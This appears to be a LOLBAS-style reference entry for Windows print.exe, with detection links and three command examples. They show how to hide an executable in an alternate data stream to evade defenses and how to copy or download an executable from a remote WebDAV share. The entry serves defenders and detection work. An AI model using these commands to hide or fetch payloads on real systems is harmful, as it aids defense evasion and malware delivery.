.. /Print.exe
Star

Alternate data streams

Used by Windows to send files to the printer

Paths:

C:\Windows\System32\print.exe
C:\Windows\SysWOW64\print.exe

Resources:

Acknowledgements:

Oddvar Moe (@oddvarmoe)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml
IOC: Print.exe retrieving files from internet
IOC: Print.exe creating executable files on disk

Alternate data streams

Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
```
print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
```
Use case
Hide binary file in alternate data stream to potentially bypass defensive counter measures

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1564.004

Copy

Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe
```
print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
```
Use case
Copy files

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105
Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
```
print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
```
Use case
Copy/Download file from remote server

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105